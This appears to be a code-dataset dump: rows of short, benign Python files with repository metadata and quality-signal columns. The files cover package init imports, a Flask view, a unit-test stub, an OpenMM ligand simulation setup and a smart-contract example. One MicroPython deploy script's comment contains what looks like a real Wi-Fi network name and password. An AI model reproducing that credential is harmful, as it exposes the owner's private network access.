hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
e4b7cd42caf9597f6f4293ebb0455cbbb1e71747
176
py
Python
test/test_publication.py
VTUL/VIVOHarvester
bb3e191eed4239f271d38cd41686f5432c61cb5e
[ "MIT" ]
null
null
null
test/test_publication.py
VTUL/VIVOHarvester
bb3e191eed4239f271d38cd41686f5432c61cb5e
[ "MIT" ]
null
null
null
test/test_publication.py
VTUL/VIVOHarvester
bb3e191eed4239f271d38cd41686f5432c61cb5e
[ "MIT" ]
null
null
null
from unittest import TestCase from vivotool.utils.publicationxmltordf import PublicationXml2Rdf class TestSample(TestCase): def test_get_publication(self): pass
19.555556
65
0.795455
19
176
7.263158
0.842105
0
0
0
0
0
0
0
0
0
0
0.006757
0.159091
176
8
66
22
0.925676
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0.2
0.4
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
5
e4c9053144cd5c4af133b25128836d4ce8a84a11
140
py
Python
optapy-core/src/main/python/types/__init__.py
Christopher-Chianelli/optapy
9d853ac0b1146e1c9392b9245fb8b03f63e6e4e4
[ "Apache-2.0" ]
85
2021-07-26T11:42:51.000Z
2022-03-29T14:14:27.000Z
optapy-core/src/main/python/types/__init__.py
kawael/optapy
f8721a57806c1527509716c63ab7c1baec4185af
[ "Apache-2.0" ]
22
2021-07-21T21:10:16.000Z
2022-03-31T17:49:00.000Z
optapy-core/src/main/python/types/__init__.py
kawael/optapy
f8721a57806c1527509716c63ab7c1baec4185af
[ "Apache-2.0" ]
9
2021-07-15T12:07:32.000Z
2022-02-09T02:11:55.000Z
""" This module wraps Java types used in OptaPy. Importing anything from this module automatically starts the JVM. """ from .types import *
20
49
0.764286
20
140
5.35
0.8
0.186916
0
0
0
0
0
0
0
0
0
0
0.164286
140
6
50
23.333333
0.91453
0.785714
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
5f40ffc70ce5d7911585cbd7fcb8cc0ce6bdcdde
138
py
Python
overhave/publication/__init__.py
TinkoffCreditSystems/overhave
b0ab705ef5c5c5a65fa0b14b173b64fd7310e187
[ "Apache-2.0" ]
33
2021-02-01T15:49:37.000Z
2021-12-20T00:44:43.000Z
overhave/publication/__init__.py
TinkoffCreditSystems/overhave
b0ab705ef5c5c5a65fa0b14b173b64fd7310e187
[ "Apache-2.0" ]
46
2021-02-03T12:56:52.000Z
2021-12-19T18:50:27.000Z
overhave/publication/__init__.py
TinkoffCreditSystems/overhave
b0ab705ef5c5c5a65fa0b14b173b64fd7310e187
[ "Apache-2.0" ]
1
2021-12-07T09:02:44.000Z
2021-12-07T09:02:44.000Z
# flake8: noqa from .abstract_publisher import IVersionPublisher from .stash import OverhaveStashPublisherSettings, StashVersionPublisher
34.5
72
0.876812
12
138
10
0.833333
0
0
0
0
0
0
0
0
0
0
0.007937
0.086957
138
3
73
46
0.944444
0.086957
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
5fa29c6f373c496c344de1bb9e69664fb3f0994a
77
py
Python
formulacli/__init__.py
gauravguitarrocks/FormulaCLI
cd3ffeaca985df91f2719cf003743cb529a3711d
[ "MIT" ]
1
2019-10-29T19:53:07.000Z
2019-10-29T19:53:07.000Z
formulacli/__init__.py
gauravguitarrocks/FormulaCLI
cd3ffeaca985df91f2719cf003743cb529a3711d
[ "MIT" ]
5
2019-10-03T13:11:03.000Z
2021-10-02T12:56:55.000Z
formulacli/__init__.py
gauravguitarrocks/FormulaCLI
cd3ffeaca985df91f2719cf003743cb529a3711d
[ "MIT" ]
2
2019-10-03T16:01:45.000Z
2019-10-18T17:11:02.000Z
""" formulacli ~~~~~~~~~~ """ from formulacli.app import FormulaCLI
11
37
0.558442
6
77
7.166667
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.220779
77
6
38
12.833333
0.716667
0.272727
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
5fc37c1ed5da273cabb309b19a6126acd90e3107
380
py
Python
16_copyright/flask_stormer/project/server/main/views.py
punica-box/tc-shenzhen-box
76c3433d50e9669a7c93f847d8a1289515edfce8
[ "MIT" ]
1
2018-11-29T03:13:33.000Z
2018-11-29T03:13:33.000Z
16_copyright/flask_stormer/project/server/main/views.py
punica-box/tc-shenzhen-box
76c3433d50e9669a7c93f847d8a1289515edfce8
[ "MIT" ]
6
2018-11-28T13:22:35.000Z
2018-12-03T08:06:48.000Z
16_copyright/flask_stormer/project/server/main/views.py
punica-box/tc-shenzhen-box
76c3433d50e9669a7c93f847d8a1289515edfce8
[ "MIT" ]
8
2018-11-28T03:59:20.000Z
2018-12-03T06:13:28.000Z
from flask import render_template, Blueprint, current_app main_blueprint = Blueprint('main', __name__,) @main_blueprint.route('/') def home(): # raise RuntimeError("33") # current_app.logger.info( # "Home response" # ) return render_template('main/home.html') @main_blueprint.route("/about") def about(): return render_template("main/about.html")
21.111111
57
0.689474
45
380
5.555556
0.488889
0.168
0.144
0.192
0
0
0
0
0
0
0
0.006309
0.165789
380
17
58
22.352941
0.782334
0.186842
0
0
0
0
0.131579
0
0
0
0
0
0
1
0.25
false
0
0.125
0.25
0.625
0.5
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
1
0
5
396358b87f03f8cf892084e2ec39f506635d7fdf
46
py
Python
Lib/pylib/__init__.py
cjroehrig/crispyControllers
6a56f7a61d66068824f4fd4b3c46d5b95585439d
[ "BSD-2-Clause" ]
null
null
null
Lib/pylib/__init__.py
cjroehrig/crispyControllers
6a56f7a61d66068824f4fd4b3c46d5b95585439d
[ "BSD-2-Clause" ]
null
null
null
Lib/pylib/__init__.py
cjroehrig/crispyControllers
6a56f7a61d66068824f4fd4b3c46d5b95585439d
[ "BSD-2-Clause" ]
null
null
null
# This is required to be considered a module.
23
45
0.76087
8
46
4.375
1
0
0
0
0
0
0
0
0
0
0
0
0.195652
46
1
46
46
0.945946
0.934783
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
3972c7a4bdca28e19b4f496bd6d389fa929622ee
77
py
Python
relay_modbus_gui/__init__.py
gooroopy/R421A08-rs485-8ch-relay-board
e60bb55d62a1afd982a49ac645c37a9eabc4c679
[ "MIT" ]
29
2018-03-17T00:28:52.000Z
2022-03-24T08:49:44.000Z
relay_modbus_gui/__init__.py
gooroopy/R421A08-rs485-8ch-relay-board
e60bb55d62a1afd982a49ac645c37a9eabc4c679
[ "MIT" ]
3
2019-12-14T15:21:50.000Z
2022-01-18T17:14:51.000Z
relay_modbus_gui/__init__.py
gooroopy/R421A08-rs485-8ch-relay-board
e60bb55d62a1afd982a49ac645c37a9eabc4c679
[ "MIT" ]
19
2018-06-18T00:01:37.000Z
2022-02-27T07:02:08.000Z
from . form_modbus import frmModbus from . relay_modbus_gui import ModbusGUI
25.666667
40
0.844156
11
77
5.636364
0.727273
0
0
0
0
0
0
0
0
0
0
0
0.12987
77
2
41
38.5
0.925373
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
397c8f698688731d7ffdaeb80a337e248f96c4b0
271
py
Python
sclrecommender/evaluator/rankingEvaluator.py
wezteoh/Bandit_Recommendation
a326e4d1d082e1a2113fe739bc343fb45b0b8a4a
[ "MIT" ]
null
null
null
sclrecommender/evaluator/rankingEvaluator.py
wezteoh/Bandit_Recommendation
a326e4d1d082e1a2113fe739bc343fb45b0b8a4a
[ "MIT" ]
null
null
null
sclrecommender/evaluator/rankingEvaluator.py
wezteoh/Bandit_Recommendation
a326e4d1d082e1a2113fe739bc343fb45b0b8a4a
[ "MIT" ]
null
null
null
from .evaluator import Evaluator class RankingEvaluator(Evaluator): def __init__(self, ratingMatrix, rankingMatrix): Evaluator.__init__(self, ratingMatrix) self.rankingMatrix = rankingMatrix def evaluate(self): raise NotImplementedError
27.1
52
0.738007
24
271
8
0.541667
0.083333
0.208333
0
0
0
0
0
0
0
0
0
0.195572
271
9
53
30.111111
0.880734
0
0
0
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0.142857
0
0.571429
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
5
397d9f3e2756ba743491fb4be1dadfddb02cef13
541
py
Python
openmc/__init__.py
mjlong/openmc
0620a368ed1f51f0cc6173c1dda985d203dc4435
[ "MIT" ]
null
null
null
openmc/__init__.py
mjlong/openmc
0620a368ed1f51f0cc6173c1dda985d203dc4435
[ "MIT" ]
null
null
null
openmc/__init__.py
mjlong/openmc
0620a368ed1f51f0cc6173c1dda985d203dc4435
[ "MIT" ]
null
null
null
from openmc.element import * from openmc.geometry import * from openmc.nuclide import * from openmc.material import * from openmc.plots import * from openmc.settings import * from openmc.surface import * from openmc.universe import * from openmc.mesh import * from openmc.filter import * from openmc.trigger import * from openmc.tallies import * from openmc.cmfd import * from openmc.executor import * from openmc.statepoint import * from openmc.summary import * try: from openmc.opencg_compatible import * except ImportError: pass
24.590909
42
0.783734
73
541
5.794521
0.342466
0.401891
0.567376
0
0
0
0
0
0
0
0
0
0.149723
541
21
43
25.761905
0.919565
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.05
0.9
0
0.9
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
399c7558a2e251df34fdc36f96f69b0d503555d4
419
py
Python
src/devices/esp32-test03/deploy.py
hwinther/lanot
f6700cacb3946535081624467b746fdfd38e021d
[ "Apache-2.0" ]
null
null
null
src/devices/esp32-test03/deploy.py
hwinther/lanot
f6700cacb3946535081624467b746fdfd38e021d
[ "Apache-2.0" ]
null
null
null
src/devices/esp32-test03/deploy.py
hwinther/lanot
f6700cacb3946535081624467b746fdfd38e021d
[ "Apache-2.0" ]
null
null
null
import prometheus.tftpd ''' prime the device with: import network import machine gc.collect() wlan = network.WLAN(network.STA_IF) wlan.active(True) wlan.connect('dgn.iot', 'umbFUTyJSvqhxNrQ') import prometheus.tftpd prometheus.tftpd.tftpd() ''' # prometheus.tftpd.tftp_client('10.20.2.135', 'boot.py') prometheus.tftpd.tftp_client('10.20.2.135', 'main.py') # prometheus.tftpd.tftp_client('10.20.2.135', 'test03.py')
22.052632
58
0.74463
63
419
4.888889
0.47619
0.292208
0.185065
0.243506
0.334416
0.334416
0.334416
0.334416
0.227273
0
0
0.067358
0.078759
419
18
59
23.277778
0.73057
0.264916
0
0
0
0
0.214286
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
39c2d37e6222b394252b9e6f86cd28be7217ff87
113
py
Python
test/test_file_movement.py
IainMcl/Inference
d1d67e4654ea2ac47afa49865a225fd29be886be
[ "MIT" ]
null
null
null
test/test_file_movement.py
IainMcl/Inference
d1d67e4654ea2ac47afa49865a225fd29be886be
[ "MIT" ]
null
null
null
test/test_file_movement.py
IainMcl/Inference
d1d67e4654ea2ac47afa49865a225fd29be886be
[ "MIT" ]
null
null
null
import src.settings from src.data.loader import Data def test_data(): print("test here") assert 1 == 1
14.125
32
0.681416
18
113
4.222222
0.666667
0
0
0
0
0
0
0
0
0
0
0.022472
0.212389
113
7
33
16.142857
0.831461
0
0
0
0
0
0.080357
0
0
0
0
0
0.2
1
0.2
true
0
0.4
0
0.6
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
39d144d7ea38f3600a579416743655604225f3eb
39
py
Python
tests/__init__.py
ashnair1/changedet
24afd3f94b722e11095cd3f2729a2aedf1104ab8
[ "MIT" ]
null
null
null
tests/__init__.py
ashnair1/changedet
24afd3f94b722e11095cd3f2729a2aedf1104ab8
[ "MIT" ]
3
2021-12-16T07:46:34.000Z
2022-01-13T05:53:23.000Z
tests/__init__.py
ashnair1/changedet
24afd3f94b722e11095cd3f2729a2aedf1104ab8
[ "MIT" ]
null
null
null
"""Unit test package for changedet."""
19.5
38
0.692308
5
39
5.4
1
0
0
0
0
0
0
0
0
0
0
0
0.128205
39
1
39
39
0.794118
0.820513
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
f2d7583e85a1b727d1eb2bbdc313247c33b0fe89
115
py
Python
LongLine.py
CODEVELOPER1/PYTHON-FOLDER
721870ad96b020fb02177a01fdd04ac730105995
[ "MIT" ]
null
null
null
LongLine.py
CODEVELOPER1/PYTHON-FOLDER
721870ad96b020fb02177a01fdd04ac730105995
[ "MIT" ]
null
null
null
LongLine.py
CODEVELOPER1/PYTHON-FOLDER
721870ad96b020fb02177a01fdd04ac730105995
[ "MIT" ]
null
null
null
print("This is a really long line of text that will " + "appear on multiple lines in the source code file.")
38.333333
58
0.695652
20
115
4
1
0
0
0
0
0
0
0
0
0
0
0
0.234783
115
2
59
57.5
0.909091
0
0
0
0
0
0.817391
0
0
0
0
0
0
1
0
true
0
0
0
0
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
f2d92e6fe58f2102c3fcba0cda6809f781404712
43
py
Python
modules/crlibm/doc/pow.py
brycelelbach/nt2
73d7e8dd390fa4c8d251c6451acdae65def70e0b
[ "BSL-1.0" ]
1
2022-03-24T03:35:10.000Z
2022-03-24T03:35:10.000Z
modules/crlibm/doc/tanh.py
brycelelbach/nt2
73d7e8dd390fa4c8d251c6451acdae65def70e0b
[ "BSL-1.0" ]
null
null
null
modules/crlibm/doc/tanh.py
brycelelbach/nt2
73d7e8dd390fa4c8d251c6451acdae65def70e0b
[ "BSL-1.0" ]
null
null
null
[ ## script modified by create_py_doc.py ]
14.333333
40
0.72093
7
43
4.142857
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.162791
43
2
41
21.5
0.805556
0.813953
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
f2f278746d65bf4d234a4a21b5eef36a280b5de3
8,077
py
Python
ligand_data/simulate.py
yabmtm/position-restraints
46981285dfa8755c5e9844b8ea0eba04b6ad3d5c
[ "MIT" ]
null
null
null
ligand_data/simulate.py
yabmtm/position-restraints
46981285dfa8755c5e9844b8ea0eba04b6ad3d5c
[ "MIT" ]
null
null
null
ligand_data/simulate.py
yabmtm/position-restraints
46981285dfa8755c5e9844b8ea0eba04b6ad3d5c
[ "MIT" ]
null
null
null
#!/usr/bin/env python from openforcefield.topology import Molecule from openforcefield.typing.engines.smirnoff import ForceField from simtk import openmm, unit from simtk.openmm import app from openmmforcefields.generators import SystemGenerator import pandas as pd import parmed import os, sys, subprocess water_model = 'tip3p' solvent_padding = 4.0 * unit.angstrom box_size = openmm.vec3.Vec3(3.4,3.4,3.4)*unit.nanometers ionic_strength = 100 * unit.millimolar # 100 pressure = 1.0 * unit.atmospheres collision_rate = 91.0 / unit.picoseconds temperature = 300.0 * unit.kelvin timestep = 4.0 * unit.femtoseconds nsteps_equil = 1000 # test protein_forcefield = 'amber14/protein.ff14SB.xml' small_molecule_forcefield = 'openff-1.1.0' #small_molecule_forcefield = 'gaff-2.11' # only if you really like atomtypes solvation_forcefield = 'amber14/tip3p.xml' dataset = 'test' #ligand_data = pd.read_pickle(f'ligands.pkl') openmm_write_cutoff = 0 # only write XML files for first n ligands (bc they big) def prepare_RL_system(): RL_complex_structure = ligand_structure + receptor_structure barostat = openmm.MonteCarloBarostat(pressure, temperature) parmed_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04, 'nonbondedMethod': app.PME, 'constraints': False, 'rigidWater': False, 'hydrogenMass': 3.0*unit.amu} parmed_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield], barostat=barostat, forcefield_kwargs=parmed_forcefield_kwargs, molecules=[ligand], small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json') openmm_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04, 'nonbondedMethod': app.PME, 'constraints': True, 'rigidWater': True, 'hydrogenMass': 3.0*unit.amu} openmm_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield], barostat=barostat, forcefield_kwargs=openmm_forcefield_kwargs, molecules=[ligand], small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json') modeller = app.Modeller(RL_complex_structure.topology, RL_complex_structure.positions) modeller.addSolvent(openmm_system_generator.forcefield, model='tip3p', padding=solvent_padding, ionicStrength=ionic_strength) # padding=solvent_padding for RL, boxSize=box_size for L parmed_system = parmed_system_generator.create_system(modeller.topology) openmm_system = openmm_system_generator.create_system(modeller.topology) integrator = openmm.LangevinIntegrator(temperature, collision_rate, timestep) # minimize and equilibrate print('Minimizing...') platform = openmm.Platform.getPlatformByName('CUDA') platform.setPropertyDefaultValue('Precision', 'mixed') platform.setPropertyDefaultValue('CudaDeviceIndex', sys.argv[3]) context = openmm.Context(openmm_system, integrator, platform) context.setPositions(modeller.positions) openmm.LocalEnergyMinimizer.minimize(context) print('Equilibrating...') integrator.step(nsteps_equil) print('Saving RL GMX files...') state = context.getState(getPositions=True, getVelocities=True, getEnergy=True, getForces=True) parmed_system.setDefaultPeriodicBoxVectors(*state.getPeriodicBoxVectors()) parmed_system = parmed.openmm.load_topology(modeller.topology, parmed_system, xyz=state.getPositions(asNumpy=True)) parmed_system.save(f'{RL_output_prefix}/conf.gro', overwrite=True) parmed_system.save(f'{RL_output_prefix}/topol.top', overwrite=True) if ligand_ndx <= openmm_write_cutoff: with open(f'{RL_output_prefix}/integrator.xml', 'w') as f: f.write(openmm.XmlSerializer.serialize(integrator)) with open(f'{RL_output_prefix}/state.xml','w') as f: f.write(openmm.XmlSerializer.serialize(state)) with open(f'{RL_output_prefix}/system.xml','w') as f: f.write(openmm.XmlSerializer.serialize(parmed_system)) def prepare_L_system(): L_complex_structure = ligand_structure barostat = openmm.MonteCarloBarostat(pressure, temperature) parmed_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04, 'nonbondedMethod': app.PME, 'constraints': False, 'rigidWater': False, 'hydrogenMass': 3.0*unit.amu} parmed_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield], barostat=barostat, forcefield_kwargs=parmed_forcefield_kwargs, molecules=[ligand], small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json') openmm_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04, 'nonbondedMethod': app.PME, 'constraints': True, 'rigidWater': True, 'hydrogenMass': 3.0*unit.amu} openmm_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield], barostat=barostat, forcefield_kwargs=openmm_forcefield_kwargs, molecules=[ligand], small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json') modeller = app.Modeller(L_complex_structure.topology, L_complex_structure.positions) modeller.addSolvent(openmm_system_generator.forcefield, model='tip3p', boxSize=box_size, ionicStrength=ionic_strength) # padding=solvent_padding for RL, boxSize=box_size for L parmed_system = parmed_system_generator.create_system(modeller.topology) openmm_system = openmm_system_generator.create_system(modeller.topology) integrator = openmm.LangevinIntegrator(temperature, collision_rate, timestep) # minimize and equilibrate print('Minimizing...') platform = openmm.Platform.getPlatformByName('CUDA') platform.setPropertyDefaultValue('CudaDeviceIndex', sys.argv[3]) platform.setPropertyDefaultValue('Precision', 'mixed') context = openmm.Context(openmm_system, integrator, platform) context.setPositions(modeller.positions) openmm.LocalEnergyMinimizer.minimize(context) print('Equilibrating...') integrator.step(nsteps_equil) print('Saving GMX files...') state = context.getState(getPositions=True, getVelocities=True, getEnergy=True, getForces=True) openmm_system.setDefaultPeriodicBoxVectors(*state.getPeriodicBoxVectors()) parmed_system = parmed.openmm.load_topology(modeller.topology, parmed_system, xyz=state.getPositions(asNumpy=True)) parmed_system.save(f'{L_output_prefix}/conf.gro', overwrite=True) parmed_system.save(f'{L_output_prefix}/topol.top', overwrite=True) if ligand_ndx <= openmm_write_cutoff: with open(f'{L_output_prefix}/integrator.xml', 'w') as f: f.write(openmm.XmlSerializer.serialize(integrator)) with open(f'{L_output_prefix}/state.xml','w') as f: f.write(openmm.XmlSerializer.serialize(state)) with open(f'{L_output_prefix}/system.xml','w') as f: f.write(openmm.XmlSerializer.serialize(parmed_system)) for ligand_ndx in range(int(sys.argv[1]),int(sys.argv[2])): print(f'Processing RUN{ligand_ndx}...') try: L_output_prefix = f'RUN{ligand_ndx}' ligand_file = f'{L_output_prefix}/LIG_h.sdf' ligand_file_pdb = f'{L_output_prefix}/LIG_h.pdb' ligand = Molecule.from_file(ligand_file) ligand_structure = parmed.load_file(ligand_file_pdb) except Exception as e: for dir in [L_output_prefix]: #, RL_output_prefix]: with open(f'{dir}/exception','w') as f: f.write(f'Exception occured with LIG{ligand_ndx}: {e}') continue # prepare L system if not os.path.exists(f'{L_output_prefix}/conf.gro'): print(f'Processing L System for LIG{ligand_ndx}') try: # catch bad ligands prepare_L_system() except Exception as e: with open(f'{L_output_prefix}/exception','w') as f: f.write(f'Exception occured with LIG{ligand_ndx}: {e}') continue
48.951515
119
0.745821
971
8,077
5.991761
0.201854
0.043314
0.033517
0.031282
0.756446
0.756446
0.728085
0.728085
0.727054
0.727054
0
0.0104
0.142875
8,077
164
120
49.25
0.829987
0.051628
0
0.551181
0
0
0.169915
0.074559
0
0
0
0
0
1
0.015748
false
0
0.062992
0
0.07874
0.062992
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
840c37d3cab0020111e986f5a506bcd9bfa39e6e
154
py
Python
lefi/__init__.py
blanketsucks/Lefi
3fe6af83e0be25ea953091aae62ba6076069f05e
[ "MIT" ]
null
null
null
lefi/__init__.py
blanketsucks/Lefi
3fe6af83e0be25ea953091aae62ba6076069f05e
[ "MIT" ]
null
null
null
lefi/__init__.py
blanketsucks/Lefi
3fe6af83e0be25ea953091aae62ba6076069f05e
[ "MIT" ]
null
null
null
from .client import * from .http import * from .objects import * from .state import * from .utils import * from .ws import * __version__ = "0.2.3-alpha"
17.111111
27
0.701299
23
154
4.521739
0.565217
0.480769
0
0
0
0
0
0
0
0
0
0.02381
0.181818
154
8
28
19.25
0.801587
0
0
0
0
0
0.071429
0
0
0
0
0
0
1
0
false
0
0.857143
0
0.857143
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
8440fd33ad02c465865067c08979594ac21226a9
156
py
Python
boa3_test/test_sc/class_test/UserClassWithInit.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
25
2020-07-22T19:37:43.000Z
2022-03-08T03:23:55.000Z
boa3_test/test_sc/class_test/UserClassWithInit.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
419
2020-04-23T17:48:14.000Z
2022-03-31T13:17:45.000Z
boa3_test/test_sc/class_test/UserClassWithInit.py
hal0x2328/neo3-boa
6825a3533384cb01660773050719402a9703065b
[ "Apache-2.0" ]
15
2020-05-21T21:54:24.000Z
2021-11-18T06:17:24.000Z
from boa3.builtin import public class Example: def __init__(self): pass @public def build_example_object() -> Example: return Example()
13
38
0.685897
19
156
5.315789
0.736842
0
0
0
0
0
0
0
0
0
0
0.008333
0.230769
156
11
39
14.181818
0.833333
0
0
0
0
0
0
0
0
0
0
0
